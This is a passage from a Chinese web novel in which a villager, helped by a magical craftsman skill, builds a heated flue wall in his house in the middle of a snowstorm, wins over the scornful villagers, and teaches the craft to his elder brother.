它只觉得一股热气从肚子里轰然炸开,瞬间席卷全身,紧接着,便是天旋地转。
眼前的院子开始晃动,桌子变成了两个,主人变成了三个,漂亮的女主人变成了六个……好多!
它晕乎乎地想转身,却感觉四条腿完全不听使唤,走路歪歪扭扭,如同踩在棉花上。
“砰!”
它一头撞在了坚硬的石桌腿上。
“嗷呜!”
一声委屈又响亮的痛呼,瞬间打破了院内的旖旎气氛。
正在享受齐人之福的江夜和三女,齐刷刷地闻声望去。
只见罪魁祸首团子,此刻正四脚朝天,毫无形象地躺在地上,小肚皮一起一伏。它的小舌头从嘴边耷拉出来,一双灵动的眼睛变得迷离又涣散,还十分人性化地……打了个酒嗝。
“噗嗤……”
白梦秋最先反应过来,看着团子那憨态可掬的醉样,再也忍不住,第一个笑了出来。
她的笑声仿佛会传染,白梦夏和林间雪也捂着嘴,咯咯地娇笑起来,一时间,满院都是清脆悦耳的笑声,如银铃摇曳。
江夜看得哭笑不得。
他走过去,一把拎起团子毛茸茸的后颈,将它提溜到半空中。
“你个小东西,胆子不小啊,还敢偷酒喝。”江夜没好气地在它的小屁股上拍了一下,笑骂了一句,“小酒鬼!”
被拎在半空中的团子,身体像面条一样晃来晃去,它努力睁开迷离的醉眼,看清是江夜,非但不怕,反而伸出舌头,试图去舔江夜的下巴,嘴里还发出“呜呜”的撒娇声,醉态可掬。
这副蠢萌的样子,更是把三女逗得花枝乱颤,笑得直不起腰。
皎洁的月光下,篝火跳跃,酒香四溢,美人在怀。
爱宠憨态可掬,满院的欢声笑语,冲淡了夜的清冷,一切都显得那么温馨和谐。
第100章 火墙
满屋的欢声笑语,冲淡了窗外的风雪与严寒,只剩下无尽的温馨与和谐。
就在满屋欢声笑语,其乐融融之际,一阵调皮的寒风顺着门缝钻了进来,在温暖的屋里搅了一圈,火盆里的火光都矮了几分。
白梦夏正慵懒地靠在软垫上,被这股冷风一激,下意识地打了个寒颤,不自觉地紧了紧衣衫,秀眉微蹙。
这个细微的动作,没能逃过江夜的眼睛。
他目光扫过,只见白梦夏姐妹俩虽然喝了酒,脸蛋红扑扑的,但裸露在外的手指尖却依旧有些发白。再看一旁的林间雪,她更是习惯性地将手缩在袖子里取暖。
铜火盆虽旺,热量却只及周身三尺,终究无法将这偌大的厅堂彻底暖透。
江夜眉头微皱,看着三个被冻得有些瑟缩的美人,满眼都是心疼。
他心中一动,一个绝妙的念头在脑海中瞬间成型,清晰无比。
江夜放下手中的白玉酒杯,脸上露出一抹笑意。
“天冷了,我给你们变个戏法,弄个惊喜出来。保证这个冬天,再也感觉不到一丝寒冷。”
惊喜?
三女闻言,美眸中不约而同地亮起了光。
“夫君,是什么呀?”白梦秋最是藏不住事,她好奇心起,凑到江夜身边,摇着他的胳膊追问,娇俏的脸上满是期待。
白梦夏和林间雪也投来好奇的目光,她们知道,江夜从不说空话,他口中的惊喜,必然非同凡响。
江夜却只是故作神秘地摇了摇头,卖起了关子:“现在说了,那还叫什么惊喜?等着瞧好吧。”
他说做就做,没有丝毫拖泥带水。
将杯中残酒一饮而尽,江夜站起身,随手披上一件厚实的外衣,便大步流星地走向了堂屋的角落。
那里堆放着他之前盖房时剩下的一些工具和材料。
在三女越发不解的目光中,江夜从角落里翻出铁镐、铲子,又检查了一下剩下的青砖和黄泥。
准备妥当后,他扛着铁镐,径直走到了客厅靠北的外墙边。
那是一面崭新的青砖墙,墙面平整,砖缝严密,光是看着就让人觉得踏实安稳。
可下一秒,江夜的动作让三个女人都瞪圆了眼睛。
只见他掂了掂手中的铁镐,看准墙根的位置,深吸一口气,手臂肌肉坟起,猛地轮了下去!
“哐当!”
一声巨响!
铁镐的尖端狠狠砸在了坚实的墙根处,砖石迸裂,烟尘四起。
白梦夏姐妹和林间雪都吓了一跳,不明白江夜为何要破坏这刚建好的新房。
这巨大的动静,也瞬间打破了风雪中稻花村的宁静。
大雪封路,村民们无事可做,正百无聊赖地窝在家里。这突如其来的巨响,就像在平静的湖面投下了一块巨石。
“啥动静?”
“好像是江夜家传来的?”
“这大雪天的,他家闹什么幺蛾子?”
不少人家的窗户被推开,一颗颗脑袋好奇地探了出来。当他们顶着风雪,眯着眼看清江夜院子里的情景时,所有人都集体懵了,下巴掉了一地。
他们看到了什么?
江夜,那个刚刚盖起全村最气派房子的江夜,此刻正在漫天风雪里,一下一下地,抡着铁镐挖自家的墙!
那坚固漂亮的青砖墙,已经被他砸开了一个大口子。
“疯了!江夜这是疯了吧?”
“我的老天爷,好好的新房子,说拆就拆啊?”
“这是喝了多少?还是中邪了?哪有人这么干的!”
“败家子!真是个败家子!这么好的房子,说不要就不要了?”
村民们议论纷纷,一张张脸上写满了震惊、不解,还有几分幸灾乐祸。
王翠花家,她正缩在被窝里,听到动静也探出头来,看到这一幕,她先是一愣,随即脸上绽放出毫不掩饰的狂喜。
“我就说吧!这小子就是个疯子!看,老天爷都看不过去了,让他自己把房子给拆了!活该!”她扯着嗓子,声音尖利,生怕别人听不见。
江峰也听到了外面的动静,当他出门看到那刺眼的一幕时,整个人都傻了。
弟弟真的在拆墙!
那面崭新的墙壁,已经被砸出了一个半人高的豁口,碎砖烂泥掉了一地。而江夜手上的动作没有丝毫停顿,一镐接一地,干脆利落。
“小夜!你……你这是做啥啊?!”
江峰急了,也顾不上院外的风雪,三步并作两步冲上前去,满脸都是错愕与焦急,“有啥事不能好好说,怎么还拆上房子了?这……这可是新房啊!”
江夜停下手中的动作,回头看到是自家大哥,脸上露出一丝淡然的笑意。他抹了把额头的汗,热气蒸腾。
“哥,你来了。”他语气平
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静,仿佛只是在做一件再寻常不过的事情,“天太冷了,我修个东西取暖。”
“取暖?”江峰更糊涂了,他指着那面破开的墙,声音都变了调,“取暖也不能拆墙啊!你这是……”
“我要修的,叫‘火墙’。”江夜言简意赅地解释道。
“火墙?”
江峰嘴里念叨着这个陌生的词,满脸都是疑惑。墙就是墙,还能分出个火墙水墙来?
围在门口的村民们也听到了这个新词,一个个伸长了脖子,满脸好奇。
江夜看着大哥那一知半解的模样,知道不说明白是不行了。他用铁镐指了指墙壁的内部结构,简单解释起来。
“这墙,我要把它砌成空心的,里面留出烟道。等砌好了,把灶膛的烟火引进去,让热烟在墙里面走一圈,再从外面的烟囱排出去。”
他顿了顿,看着众人越来越迷茫的眼神,抛出了最关键的一句。
“烟是热的,烟在墙里走,这整面墙,不就都变成热的了?到时候手一摸,都是烫的。有这么一面热墙在屋里,你说这屋子,还能冷吗?”
话音落下,整个场面有那么一瞬间的死寂。
江峰呆呆地站在原地,脑子里反复回响着江夜那几句话。
烟……在墙里走?
整面墙……都是热的?
他想象了一下那个画面:外面下着鹅毛大雪,屋里却有一面滚烫的墙壁,源源不断地散发着热量,整个屋子温暖如春,甚至可以只穿一件单衣……
这……
这哪里是凡人能想出来的法子!
“神仙法子……这简直是神仙法子啊!”
江峰猛地一拍大腿,眼睛里瞬间爆发出无比璀璨的光芒。
他这一嗓子,也瞬间点醒了围观的村民。
短暂的寂静之后,人群如同被投入了**的油锅,瞬间炸开了!
“什么?烟还能在墙里走?”
“我的娘欸,要是墙是热的,那冬天还用受什么罪啊!”
“把手贴在墙上烤火?这……这敢想吗?”
“真的假的?江夜不会是吹牛吧?”
“可是听着……好像是那么个道理啊!”
刚才还觉得江夜疯了、败家的村民们,此刻一个个脸上的表情精彩至极。震惊、怀疑、恍然大悟、以及浓浓的羡慕,种种情绪交织在一起,让他们的大脑一片混乱。
第101章 这手艺,早就失传了!
人群中,几个脑子活泛的村民瞬间心头火热。
他们对视一眼,二话不说,转身就朝着村子另一头跑去。
“快!去把王石匠请来!”
“对对对!王伯见多识广,让他来看看,这火墙咱家能不能也砌一个!”
寒冬难熬,每年村里都有老人孩子冻出毛病,要是真能有这么一面热墙,那简直是救命的东西!
片刻之后,一个头发花白、走起路来四平八稳的老头,被几个村民连拉带拽地请到了江夜家门口。
正是稻花村唯一会砌墙盘灶的老石匠,王伯。
王伯在村里德高望重,一手石匠活儿远近闻名,性子也跟石头一样,又臭又硬。
他被从暖和的被窝里拉出来,本是一肚子火,可当他看到江夜家墙上那个巨大的豁口时,也是一愣。
“王伯,您快给瞧瞧!江夜说他要砌火墙,就是让热烟在墙里头走,让整面墙都发热!您老见多识广,这法子行不行得通?”一个村民满脸期待地问。
王伯没说话,他背着手,走到那破开的墙洞前,眯着昏花的老眼,仔细端详着江夜挖出的沟壑和一旁备好的砖石黄泥,眉头拧成了一个疙瘩。
他时而蹲下,用粗糙的手指捻一捻地上的土;时而又站起,比划着墙体的厚度和走向。
所有村民都屏住了呼吸,一颗心提到了嗓子眼,紧张地等着他的结论,仿佛他一句话就能决定这个冬天是挨冻还是享福。
良久,王伯站直了身子,在众人期待的目光中,缓缓地摇了摇头。
“胡闹!”
他吐出两个字,声音不大,却像一盆冰水,把所有人心头的火热浇了个透心凉。
“这东西叫火龙墙,是以前大户人家才用得起的。老头子我年轻时跟着师傅走南闯北,也只见过一次图纸,根本没敢上手。”
王伯看着墙上的豁口,眼神变得凝重。
“这东西看着简单,里头的道道多着呢!烟道怎么走,拐几个弯,多宽多窄,都有讲究。排烟口留在哪儿,怎么防火星子,更是一步都错不得!”
他顿了顿,扫了一眼还抱着一丝幻想的村民,毫不留情地打破了他们的念想。
“一步走错,热烟排不出去,倒灌回屋里,能把人活活呛死!防火没做好,一把火窜出来,就不是暖房,是烧房!”
老石匠一锤定音,语气斩钉截铁:“这手艺,没个几十年经验的顶级大匠根本不敢碰。早就失传了!他一个毛头小子,从哪儿学来的?纯粹是瞎胡闹!”
话音落下,村民们刚燃起的希望,瞬间化为泡影。
一张张脸上,写满了失望和后怕。
“原来这么危险啊……”
“是啊,差点把命搭进去。”
“我就说嘛,哪有这么好的事,墙还能是热的。”
众人看向江夜的眼神,也从刚才的期待和羡慕,变成了浓浓的怀疑和担忧。
人群中,王翠花听到王伯的结论,那张刻薄的脸上瞬间乐开了花。她双手往腰上一叉,仿佛打了天大的胜仗,扯着嗓子发出一声响亮的嗤笑。
“听见没有!连王石匠都说了,这是瞎胡闹!我就说吧,有些人就是吃饱了撑的,得了两个钱就不知道自己姓啥了,非要显摆!好好的新房子非要拆了,我看他到时候房子烧了,人没地方住,抱着他那几个婆娘睡雪地里哭去吧!”
她唾沫横飞,声音尖利刺耳,生怕别人听不见她的高见。
躲在人群后的刘巧嘴和王大虎,也找到了宣泄口。
“烧了才好!这种没良心的东西,老天爷都看不过去!”刘巧嘴捂着嘴,阴阳怪气地跟旁边人嘀咕,眼神怨毒得像淬了毒的蛇。
王大虎捂着还隐隐作痛的手腕,点头
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附和:“最好连人一起烧成黑炭,省得再出来害人!”
也有几个平日里和江家兄弟关系不错的村民,实在看不下去,真心实意地上前劝江夜。
“小夜啊,听大伙一句劝,别干了。王伯都这么说了,这东西太危险,咱犯不着冒这个险。”
“是啊,趁现在窟窿还不大,赶紧把墙补上还来得及,免得真出了事,后悔都来不及啊!”
一时间,门口的喧嚣、嘲讽、劝说、诅咒,混杂着漫天风雪,乱成了一锅粥。
然而,作为风暴中心的江夜,却对这一切充耳不闻。
他仿佛进入了一个与世隔绝的世界,外界的一切都无法干扰他分毫。
神级工匠技艺发动,他的脑海中,火龙墙的每一处结构、每一条烟道的走向、每一块砖石的尺寸,都清晰得如同掌纹。
只见他拿起一块青砖,手腕一翻,瓦刀带起一抹黄泥,不多不少,均匀地铺在砖底。他将砖块稳稳放下,用刀柄轻轻敲击几下,动作精准而迅速。
砌砖、抹泥、校准……
他的一举一动,没有丝毫多余,快得让人眼花缭乱,却又偏偏带着一种奇异的韵律感,仿佛不是在砌墙,而是在进行一场完美的艺术创作。
劝说的村民见他油盐不进,只能无奈地摇了摇头。
王翠花等人见江夜不搭理,自觉无趣,骂骂咧咧地也缩回了自家屋里,只等着看江夜家火光冲天的笑话。
围观的村民们见没热闹可看,又顶不住风雪,叹息着摇了摇头,三三两两地各自散去了。
很快,喧闹的院门口,只剩下哥哥江峰还焦急地站在原地。
而江夜,依旧沉浸在自己的世界里,手上的动作行云流水,没有丝毫停顿。
那面被所有人断言会带来灾祸的墙,正在他手中,以一种不可思议的速度,初现雏形。
第102章 神迹!还是笑话?
在神级工匠技艺的加持下,江夜的动作快得超出想象。
砌墙,留烟道,封顶,开灶口,盘烟囱……一套流程行云流水,没有丝毫拖泥带水。
不过是半天功夫,那面被砸开的墙,竟已焕然一新。
墙体平整如初,只是在墙角的位置,多出了一个黑黝黝的灶口,而在屋顶的另一侧,则悄然立起了一个造型别致的小巧烟囱。
江夜直起身,拍了拍手上的尘土,仿佛只是做了件微不足道的小事。
“这就……完事了?”
江峰在一旁看得目瞪口呆,他揉了揉眼睛,几乎不敢相信。半天时间,拆墙又砌墙,还弄出个他看不懂的古怪玩意儿,这速度简直不是人能办到的。
“火墙砌好了”的消息,像长了翅膀一样,瞬间传遍了还在屋里猫冬的家家户户。
这下,整个稻花村都坐不住了。
刚才还觉得江夜是疯了的村民,此刻心里又活泛起来。
万一呢?万一真成了呢?
抱着这样的念头,更多的人从家里涌了出来,顶着风雪,将江夜家门口围了个水泄不通,比之前搬家时还要热闹。
王翠花、刘巧嘴和王大虎自然不会错过这个场面。
三人挤在人群的最前面,脸上全是幸灾乐祸的表情,就等着看江夜点火失败,当着全村人的面出个大丑。
面对着门外黑压压的人群和各种复杂的目光,江夜神情没有丝毫波澜。
他转身进屋,抱出一捆早就备好的干柴,不急不缓地塞进墙角的灶口里。
然后,在所有人的注视下,他拿出火折子,凑近灶口,轻轻一吹。
“呼——”
一簇橘红色的火苗瞬间蹿起,舔舐着干燥的木柴,发出“噼啪”的轻响。
火焰升腾,灶口映出一片温暖的光。
所有人都屏住了呼吸,目光死死地盯着那面新砌的墙壁,期待着奇迹的发生。
然而,一分钟过去了。
墙壁还是那面墙壁,冰冷如初,没有丝毫变化。
两分钟过去了。
墙壁依旧冰冷,用手摸上去,甚至还带着新泥的湿凉。
人群开始骚动起来,窃窃私语声此起彼伏。
“怎么没动静啊?”
“我就说不靠谱吧,烟怎么可能在墙里走。”
王翠花再也憋不住了,她双手往腰上一叉,爆发出了一阵尖利刺耳的狂笑。
“哈哈哈哈!笑死我了!我说什么来着?就是瞎折腾!白费功夫!花了那么多钱盖的新房子,说砸就砸,现在好了吧?弄出个不伦不类的玩意儿,火是点了,墙呢?热了吗?哈哈哈哈!”
她笑得前仰后合,眼泪都快出来了,指着那面墙,仿佛在看天大的笑话。
刘巧嘴也立刻尖着嗓子附和:“我看啊,不是墙不热,是那烟都堵在墙里头出不去了!指不定再过一会儿,‘轰’的一声,这好好的新房子就直接烧成一片白地了!报应啊!”
她的话像是一根针,刺破了众人心中最后一点幻想。人群中发出一阵阵惋惜的叹息声。
“唉,看来是真的玩砸了。”
“年轻人就是爱异想天开,这下好了,成了全村的笑话了。”
江峰站在一旁,一颗心提到了嗓子眼。他看着弟弟淡然的侧脸,嘴唇动了动,想说些什么,却又一个字都说不出来。
屋檐下,白梦夏和白梦秋也紧紧地站在一起,两双绝美的眸子里写满了担忧。
她们不担心别的,只担心夫君此刻会难过。
就在王翠花的笑声肆无忌惮地回荡在院门口时,一个眼尖的村民忽然指着屋顶,结结巴巴地喊了一声。
“快……快看!烟囱!”
众人闻声抬头,只见那造型别致的小烟囱口,一缕若有若无的白烟,正袅袅升起,随即便被凛冽的寒风吹散。
烟,通了!
王翠花的笑声戛然而止,表情僵在脸上,滑稽无比。
所有人的心又一次被提了起来。
江夜始终面色平静,仿佛一切尽在掌握。他没有理会外面的喧嚣,只是转头看向身边的白梦夏和白梦秋,柔声说:“去摸摸墙。”
两女对视一眼,虽然心中忐忑,但对夫君的信任让她们压下了所有疑虑。她们莲步轻移,走到那面新砌的墙壁前。
在全村人死死地注视下,白梦夏和白梦秋,一左一右,将信将疑地伸出了白玉般的小手。
指尖轻轻触碰到墙壁的瞬间——
两双绝美的眸子,同时瞪得滚圆!
“呀!”
一声压抑不住的惊呼,从姐妹俩的口中同时发出。
那是一种无法形容的感觉!
墙壁表面不再是冰冷的砖石触感,而是一种温润、均匀的暖意,仿佛握着一块温热的暖玉。
那暖意并不烫手,却带着一种奇妙的穿透
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力,从手心传来,顺着手臂,迅速传遍全身。
原本因寒冷而有些僵硬的身体,在这一瞬间,仿佛被注入了一股暖流,每一个毛孔都舒张开来,说不出的惬意舒适。
“夫君!热了!真的热了!”白梦秋最先忍不住,她惊喜地回头,看着江夜,眼中异彩连连,小脸上满是崇拜与狂喜。
白梦夏更是激动得说不出话,她将整张俏脸都贴了上去,感受着那均匀散发的暖意,脸上浮现出极致的惊喜与幸福,眼角甚至泛起了点点泪光。
随着灶膛里的火越烧越旺,那股暖意不再局限于墙壁表面。
一股溫暖如春的气息,开始从墙体中弥漫开来,迅速驱散了屋内的所有寒意。
之前从门缝吹进来的冷风,此刻仿佛也失去了威力,一进入屋内就被这股暖意融化。
整个房间的温度,正在以一种不可思议的速度回升。
三九寒冬,大雪纷飞,这间屋子,却硬生生**夜变成了一个温暖如春的所在!
院门口,所有人都看傻了。
他们虽然听不清屋里人的对话,但白梦夏和白梦秋那副惊喜到极致的表情,是个人都看得懂!
“成了?真的成了?”
“天爷啊!墙……墙真的能热?”
“这……这不是神仙手段吗?”
之前还满脸不屑的老石匠王伯,此刻嘴巴张得能塞下一个鸡蛋,浑浊的老眼里写满了颠覆认知的骇然。
他死死盯着那面墙,嘴唇哆嗦着,喃喃自语:“不可能……这不合常理……烟道……他到底是怎么走的……”
而人群中最扎眼的王翠花,脸上的表情更是精彩绝伦。
从幸灾乐祸的狂笑,到烟囱冒烟时的僵硬,再到看见白梦夏姐妹惊喜表情时的错愕,最后,当她感觉到从江夜家敞开的门口隐隐飘出的那一丝暖气时,她的脸彻底涨成了猪肝色。
嫉妒、震惊、不甘、悔恨……种种情绪交织在一起,让她浑身发抖。
她下意识地裹紧了身上破旧的棉袄,可那刺骨的寒风仿佛能穿透骨髓,再看看江夜家温暖如春的屋子,和屋里那几个如花似玉、满脸幸福的女人,一股邪火直冲天灵盖。
“呸!有什么了不起的!不就是一面热墙吗!指不定哪天就着火了!”她咬牙切齿地低声咒骂,声音却虚弱得连自己都听不清,再也没有了刚才的嚣张气焰。
第103章 我把这门手艺教给你
江峰愣愣地看着白家姐妹脸上那不似作伪的狂喜,也学着她们的样子,小心翼翼地朝着那面看起来平平无奇的墙壁摸去。
手掌触及墙壁的瞬间。
一股温润、厚重、却又丝毫不烫手的暖意,从掌心传来,瞬间驱散了顺着胳膊往上爬的寒气。
那不是火盆烤火的燥热,也不是太阳暴晒的灼热,而是一种……仿佛能钻进骨头缝里的舒服。
他活了二十五年,从未感受过如此奇妙的暖意。
江峰呆呆地看着自己的手掌,又看了看那面墙,满脸都是颠覆认知的骇然,嘴巴张了半天,才从喉咙里挤出几个字。
“这……这是神仙……神仙手段吧……”
江夜看着自家大哥那副没见过世面的样子,不由得笑了。他走到江峰身边,拍了拍他的肩膀。
“哥,天冷了,嫂子和琼琼身子弱,怕冷。回头我抽空,也去你家砌一个。”
轰!
这句话,比刚才墙壁变热还要震撼,瞬间在院门口的人群中掀起了滔天巨浪!
江峰闻言,眼眶“唰”的一下就红了。他猛地转头看向江夜,嘴唇剧烈地哆嗦着,想要说些什么,却一个字都说不出来。
千言万语的感激,最后只化为了重重的一个点头。
这个弟弟,总是这样。
不声不响地,就把天大的好处,像送一颗糖豆一样送到你面前。
然而院墙外那黑压压围了一圈的村民,也听清了江夜的话!
在短暂的死寂后,彻底疯了!
“砌……他要给江峰家也砌一个!”
“天爷啊!”
人群像是炸开的油锅,之前还隔着院门观望的村民们,此刻再也顾不上什么脸面和规矩。
“让开!让我过去!”
“别挤!别挤我!”
人群如失控的潮水,疯狂地朝着那扇并不宽敞的院门涌去。无数张脸挤在门口,男女老少,一张张脸上再无半点嘲讽和怀疑,只剩下最狂热的渴求。
之前还站在人群最前头,等着看笑话的王翠花,此刻直接被一股巨大的力道挤到了一边,一屁股摔在雪地里,冰得她一个激灵,却根本没人理会。
“江夜兄弟!江夜兄弟求求你了!”一个汉子扒着门框,脸都挤变形了,声嘶力竭地吼道,“求你也帮我家修一个吧!我家老娘一到冬天那腿就疼得下不了床,整宿整宿地唉哟,我给你磕头了!”
说着,那汉子竟真的“扑通”一声,隔着门槛就跪了下去,对着江夜的方向砰砰磕头。
他这一跪,像是推倒了第一块多米诺骨牌。
“江夜师傅!我求求你了!”一个年轻的妇人抱着怀里冻得小脸发紫的孩子,哭着喊道,“多少钱都行!我给你当牛做马!只要能让我家娃儿冬天不受这个罪!”
“江夜!看在同村一场的份上!拉兄弟一把吧!”
“是啊!这可是救命的恩情啊!”
恳求声、哭喊声,此起彼伏,震得人耳膜生疼。整个稻花村,仿佛都陷入了一种狂热的情绪中。
在这滴水成冰的鬼天气里,每年冬天,村里因为严寒而病倒、甚至熬不过去的老人孩子,不在少数。一面能自己发热的墙,在这群挣扎求生的村民眼里,已经不是什么稀罕玩意儿,那是能救命的神物!
就在这时,拥挤的人群忽然自动向两边分开了一条道。
村里年纪最大、也最德高望重的三位族老,被众人从后头推到了最前面。
他们走到院门口,整理了一下衣衫,随即,在全村人震惊的目光中,并排站好,对着院内的江夜,深深地弯腰作揖。
最后还是村长王满仓开口了。
“小夜啊,这火墙,是神技,我知道!老头子我今天厚着脸皮,替全村的乡亲们来求你一句。”
他指了指身后那些眼巴巴望着这里的村民,声音愈发沉重。
“稻花村每年冬天,都要冻死、冻病不少人,尤其是老人和孩子……你这手艺,要是能传开,那是为全村造福,是能救活几百口子人的大好事啊!”
另外两位族老也连连点头,满脸期盼地看着江夜。
“是啊,小夜,这可是积大德的善举啊!”
“只要你愿意,有什么条件,你尽管提!”
江夜看着门口黑压压的人头,还有那一张张写满渴求的脸,眉头微不可查地皱了一下。
麻烦。
他只想安安静静地过自己的小日子,可不想当什么救世主,更不想天天被人堵在门口求着去砌墙。
他目光一转,落在旁边激动又忐忑的江峰身上,心中忽然有了计较。
江夜没理会门外的喧嚣,转身拉起还处在震惊中的江峰,直接走进了温暖的屋内,顺手关上了房门,将所有的声音都隔绝在外。
门外的村民们伸长了脖子,满脸焦急与期待,却又不敢擅闯,只能眼巴巴地等着。
屋里,温暖如春。
江峰突然被弟弟拉进来,满心都是疑惑。
“小夜,这……”
江夜淡然一笑,打断了他的话,开口便扔出了一个惊雷。
“哥,我把这砌火墙的手艺,传给你。”
“啥?!”
江峰瞬间懵了,他瞪大了眼睛,几乎以为自己听错了,下意识地掏了掏耳朵。
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“小夜,你……你说啥?”
江夜看着他这副样子,耐心地又重复了一遍:“我说,我把这门手艺教给你。以后,村里谁家想砌火墙,就让他们去找你。”
这下,江峰听清楚了。
可听清楚之后,他反而更加慌乱了。
“不行!不行不行!”他脑袋摇得像拨浪鼓,连连摆手,“小夜,这可使不得!这……这是你的神仙手艺,是无价之宝!我……我哪能学啊!”
江夜解释道:“哥,我懒得应付他们。这手艺你学会了,一来可以帮村里人,二来,也能赚些钱。以后嫂子和琼琼,再也不用看人脸色,想吃什么穿什么,你自己就能挣回来,腰杆子也能挺得直直的。”
江夜的每一句话,都像一把重锤,狠狠地砸在江峰的心上。
赚些钱……
挺直腰杆……
让慧慧和琼琼过上好日子……
这些念头在他脑子里轰然炸开,让他整个人都僵住了,大脑一片空白。
是啊,他是个男人,是一家之主。
可这些年,他过的是什么日子?
起早贪黑地进山打猎,却常常空手而归,连让妻女吃顿饱饭都难。
每次从弟弟这里拿点东西回去,妻子嘴上不说,可那眼神里的无奈和心酸,比刀子还扎人。
他何尝不想让自己的女人和孩子,过上吃穿不愁的日子?何尝不想在村里人面前,挺直自己的脊梁?
可他没那个本事啊!
但现在,弟弟要把一个能让他实现这一切的“神技”,就这么轻飘飘地送给他。
江峰的眼眶,瞬间就红了。
他看着江夜,嘴唇哆嗦得厉害,半晌,才从喉咙里挤出一句话。
“我……我不敢学……小夜,这手艺太金贵了……我……我笨,我怕学不会,给你把名声弄砸了……”
他的声音里带着一丝哀求和浓浓的自卑。
江夜看着他,没有再多说什么,只是伸出手,重重地拍了拍他的肩膀,语气无比坚定。
“哥,有我在,没有学不会的。”
简简单单的一句话,却带着一种让人无法抗拒的力量和信任。
江峰看着弟弟那双深邃而又充满信赖的眼睛,只觉得一股滚烫的热血,猛地从胸腔直冲头顶!
所有的犹豫、害怕,在这一刻被冲刷得干干净净!
他浑身剧烈地颤抖起来,不是因为害怕,而是因为一种极致的激动和无法言说的感激。
眼泪,再也控制不住,从这个七尺汉子的眼眶中决堤而下。
他没有再说话,只是对着江夜,用尽全身的力气,重重地点了点头。
第104章 我替他担保
江夜看着自家大哥那副感激涕零的模样,没有再多说废话。
他直接拉着江峰,走到那面温暖如玉的墙壁前,当即开始讲解。
“哥,这火墙看似玄奥,其实关键就在三点:一为聚火,二为走烟,三为散热。”
江夜的声音沉稳有力,他没有说那些深奥的力学原理,而是用最简单直白的话,将神级工匠技艺中的精髓,化为江峰能听懂的口诀。
“灶口要小,呈梯形,能聚火舌不外窜。烟道要曲,忌走直,三折两绕热气存。出风口要高,迎风开,倒灌之祸永不来。”
江夜一边说,一边用手指在墙上比划着烟道的大致走向和关键的转折点,将每一个细节都拆解得清清楚楚。
“最关键的是砌砖时的口诀,你记牢了:‘底三上一,侧二收一,逢三转角,逢五留气’,只要按这个来,就不会出岔子。”
江峰整个人都傻了。
他瞪大眼睛,死死盯着江夜的手指和那面墙,嘴里无意识地跟着念叨:“底三上一,侧二收一……”
他拿出十二万分的精神,生怕漏掉一个字。汗珠从他额角渗出,顺着粗糙的脸颊滑落,他却浑然不觉,脑子里只剩下江夜那几句简单却仿佛蕴含着天地至理的口诀。
片刻后,江夜讲解完毕,他看着江峰那副魔怔了般的样子,笑了笑。
“哥,走吧。”
江夜拍了拍他的肩膀,转身拉开房门。
温暖的空气混着淡淡的木柴香气涌出,与门外冰冷的寒风撞在一起,形成了一道无形的界限。
院门外,黑压压的村民们早已等得心焦。
门开的瞬间,所有嘈杂都消失了。
上百道目光,“唰”的一下,齐齐聚焦在江夜和江峰身上,那眼神里的渴望、期盼,几乎要将人吞没。
江夜神情淡然,他环视一圈,朗声开口。
“这火墙的手艺,我已经传给了我哥,江峰。”
“以后,村里哪家想修,直接去找他就行。”
话音落下,整个村口陷入了一片诡异的死寂。
时间仿佛在这一刻凝固了。
所有村民都集体懵了,他们的大脑仿佛被这句话砸得宕机,一时半会儿竟没能反应过来。
他们的目光,在江夜那张平静无波的脸上,和江峰那张写满紧张和憨厚的脸上,来回移动,眼神里全是茫然和不敢置信。
啥?
江峰?
那个老实巴交的江峰?
他能行吗?
这神仙般的手艺,就这么……教会了?
死寂之中,一个尖利刺耳的笑声猛地炸开,打破了这片凝固的空气。
“哈哈哈哈!笑死个人了!”
王翠花双手叉腰,笑得花枝乱颤,指着江夜,满脸都是毫不掩饰的讥讽,“江夜,我看你是想钱想疯了吧!这种鬼话也说得出口?就凭他?”
她轻蔑地瞥了一眼江峰,嗤笑道:“他要是会这手艺,我王翠花的名字倒过来写!你这是拿自己亲哥出来当幌子,骗我们大伙儿的钱吧!”
“就是!”刘巧嘴那公鸭般的嗓子也立刻尖声附和,怨毒的目光在兄弟俩身上来回扫视,“这火墙可是在墙里头走烟,万一没弄好,那是要烧房子的!到时候出了人命,我看你们兄弟俩拿什么赔!”
这两人的话,像是一瓢冷水,瞬间浇在了众人狂热的心头。
人群瞬间骚动起来。
“翠花嫂子说的……好像也有道理啊。”
“这可不是闹着玩的,万一真把房子点着了……”
“江峰兄弟,人是老实,可这手艺……哪是说会就会的?”
质疑声四起,一道道怀疑的、审视的目光,像针一样扎在江峰身上。
江峰的脸,“腾”的一下涨成了猪肝色。
他本就不是能言善辩的人,此刻被上百人当众质疑,更是紧张得手脚都不知道往哪儿放,额头的汗冒得更凶了,嘴唇哆嗦着,却一个字也反驳不出来。
他下意识地扭头,用求助的目光看向身旁的江夜。
江夜依旧神情淡漠,他往前站了半步,将江峰微微挡在身后,目光扫过王翠花和刘巧嘴那两张幸灾乐祸的脸,最后落在所有村民身上。
他声音不大,却带着一种不容置疑的份量,清晰地传遍全场:
“我江夜,替我哥担保。”
简简单单的一句话,却仿佛带着千钧之力。
所有沸反盈天的质疑声,在这一瞬间,戛然而止。
整个村口,再次陷入了一片死寂。
所有村民都愣愣地看着江夜,脑子里“嗡”的一声。
江夜……担保?
这个名字,仿佛带着一种魔力。
他们想起了那头被一箭毙命的吊睛白额猛虎。
想起了那二十多头被屠戮殆尽的凶恶狼群。
想起了那一杯就能让人脱胎换骨,力能扛鼎的神酒。
江夜做的哪一件事,不是他们想都不敢想的神迹?
他说的话,什么时候落空过?
村民们看着江夜那张古井无波的脸,心中刚刚升起的怀疑,瞬间就被一股更加狂热的信任所取代!
对啊!
那可是江夜!
江夜说他哥行,那他哥就一定行!
江夜拿自己的名声给他哥作保,这还能有假?
一瞬间,所有看向江峰的目光,再次变了。
那眼神里,再无半点怀疑,只剩下比之前更加炽热的信任和崇拜!
“江夜兄弟说行!那就一定行!”
“江峰兄弟!别管他们了!先来我家!先来我家!”
之前还在观望的村民们,此刻再也顾不上任何规矩,像决堤的洪水一般,疯狂地朝着江峰涌了过去,瞬间就将他团团围住。
“江峰兄弟,这是定金!五百文!求你了,先给我家修!我出双倍的工钱!”一个长满络腮胡的汉子,把一串沉甸甸的铜钱硬是塞进了江峰怀里,满脸都是哀求。
“先我家!我老娘都快冻**!”另一个瘦高的村民挤得脸都变形了,他从怀里掏出一块碎银子,高高举过头顶,“江峰大哥!这是我全部家当了!求你救我娘一命!”
“我家!我家孩子还小,每年冬天都咳得喘不上气!”
江峰彻底懵了。
他被无数只手推搡着,被一张张焦急而狂热的脸包围着,怀里、手里被塞进了一串又一串的铜钱,甚至还有好几块分量不轻的碎银子。
